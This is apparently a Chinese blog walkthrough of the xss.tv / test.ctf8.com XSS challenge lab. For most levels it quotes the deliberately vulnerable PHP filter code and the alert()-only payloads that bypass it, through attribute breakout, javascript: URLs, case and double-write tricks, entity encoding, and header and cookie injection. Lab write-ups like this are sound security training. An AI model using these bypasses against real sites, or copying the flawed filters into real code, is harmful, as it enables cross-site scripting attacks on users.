XSS 挑战赛

XSS 挑战赛

地址:http://test.ctf8.com/

image-20210310153435510

level 1

image-20210310153507626

可以看到URL中的参数name被显示出来,直接把name参数构造为XSS语句即可。

http://test.ctf8.com/level1.php?name=<script>alert()</script>

level 2

image-20210310153651773

看上去和 level 1 一样,先测试一下

http://test.ctf8.com/level2.php?keyword=<script>alert()</script>&submit=%E6%90%9C%E7%B4%A2
image-20210310154203498

发现没有用猜测是标签被转义解析为文本,再查看input标签,我们输入的语句也在这里的value中显示出来,我们可以尝试从这里进行利用。

image-20210310154822757

使用"把value的值进行闭合,再构造onclick事件进行alert(),最后用//把后面的注释掉

" onclick=alert('XSS') //
image-20210310155118434

这时候我们点击input框就能弹窗

level 3

image-20210310165004936

和level 2 一样尝试下闭合value的值,无果,估计不是双引号闭合的方式

"onclick=alert('xss') //
image-20210310161042357

但是发现把我输入的内容从'处截断了,估计是'闭合方式

'onclick=alert('xss') //
image-20210310161224943

level 4

image-20210310165218833

怎么又换回来"号了??原来是level 2 没有对<>进行过滤,这里对其进行了过滤,可是我们的payload无需<>

"onclick=alert('xss') //

level 5

image-20210310165616532

这里在on中间加入了_来阻止我们触发事件,查看下源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

首先对keyword变量使用了strtolower()函数转换,把所有字符转换为小写;接着过滤了<script>,并替换为<scr_ipt>;过滤了on并替换为o_n。因为on是很多事件都包含的关键词,所以这里无法直接通过闭合引号在<input>标签中来触发弹窗了,这个可以闭合双引号和标签,然后通过javascript:alert('XSS')这种形式来触发弹窗。

"><a href=javascript:alert('XSS') //
image-20210310170119900

可以看到在input框的后面多了个链接,点击就能触发XSS。

level 6

image-20210310170353410

这里把herf也过滤了,这样就无法使用javascript:alert()这种方法来弹窗,查看源码:

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

可以发现这里少了level 5的strtolower(),因此可以使用大小写绕过

" Onclick=alert('XSS') //
"><a Href=javascript:alert('XSS') //

level 7

image-20210310170850324

这里把我们的onclick事件的on给过滤了,尝试双写

" oonnclick=alert('XSS') //

回头看看源码:

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

果然是把关键词都替换为空格,一般这种情况都能直接双写绕过。

level 8

image-20210310171220610

这里是将你输入的内容变成一个<a>标签的href,尝试使用JavaScript伪协议,发现被类似level 6的加_的方式过滤了,看看源码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

这里的过滤规则在level 7的基础上把strtolower()也加上了,而且在input框里面还使用了htmlspecialchars()对HTML标签进行转义,所以这里肯定是无法利用的。再看<a>标签的里面的href是直接输出,而且没有过滤,直接输出在了双引号"之间,当作字符串处理,利用当作字符串处理的特点,可以直接将我们的payload HTML使用HTML实体字符编码绕过。

javas&#x63;ript:alert('XSS') //
image-20210310172413293

level 9

image-20210310172611741

看上去和 level 8 差不多,但是尝试使用JavaScript伪协议好像被检测出来说链接不合法,那就先看看源码他是怎么检测的吧:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

原来是在 level 8 的基础上对我们输入的内容查看是否有http://这串字符,有的才输出,否则就说不合法,那好办,直接在payload后面加就行了

javas&#x63;ript:alert('XSS') //http://
image-20210310173121499

level 10

image-20210310173329445

页面上没有能输入的地方,但是在前端页面隐藏了3个输入框,每个都尝试下能不能注入,发现t_sort可以传入参数

image-20210310173551650

那么我们就可以利用这里构造

http://test.ctf8.com/level10.php?t_sort=" type="" onclick=alert('XSS') //
image-20210310175636000

level 11

image-20210310180040882

发现这里多了个t_refinput标签,而且原来的t_sort似乎被转义了,无法利用,先看看源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

由于$str$str00都使用了htmlspecialchars()函数对其进行转义,因此这里都无法进行利用。再看$str11,它是从$_SERVER['HTTP_REFERER']取值,然后直接作为t_ref的值,很明显,我们可以直接构造 Rfeferer的值进行XSS攻击。

image-20210310180834271

level 12

image-20210310181006919

这一题和 level 11 本质上换汤不换药,从Referer换成了User-Agent即可,这里有个问题就是似乎成功注入之后会直接跳转到别的页面。

image-20210310181737224

level 13

image-20210310181903581

和前面两题一样,这次换成从cookie注入了,先抓包,发现t_cook的值是cookie里面的user

image-20210310182122965

那就直接构造cookie的user为我们的payload即可。

image-20210310182233505

level 14

网页好像加载出问题了

level 15

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

这题考察Angular JSng-include用法,具体可以参考这篇资料:AngularJS ng-include 指令

ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。所以这里就用来包含其他关的页面来触发弹窗。

level14.php?src="level1.php?name=<img src=x onerror=alert('XSS')>"
image-20210310203353006

level 16

image-20210310203631723

只有这一个输出点,看看源码对传入的参数做了什么限制

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

这里过滤掉了script标签,可以尝试使用其他标签通过事件来弹窗,但是也过滤了空格。

可以使用如下符号替代空格

符号URL编码
回车(CR)%0d
换行(LF)%0a
空格%0c
?keyword=<img%0Asrc="xss"%0Aonerror=alert()>

level 17

image-20210310204737849

URL传进去的参数会再<embed>里显示,以个是在=前面,一个是在=后面,那我们是不是可以前一个作为事件名字,后一个作为事件执行的操作呢?

?arg01=onmouseover&arg02=alert(1)
image-20210310205415002

似乎多了个",吧"去掉换成空格,即可

?arg01= onmouseover&arg02=alert(1)

level 18

没发现和level 17 有啥区别,上题的payload也依然能用

?arg01= onmouseover&arg02=alert(1)

level 19

现在的浏览器都不支持flash了,再学这个似乎也没意义,给了自己一个理由偷懒(主要是网上都没找到答案)

level 20

同上

参考资料

学习笔记五:xss.tv通关笔记

XSSTV挑战赛

XSS从零开始

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇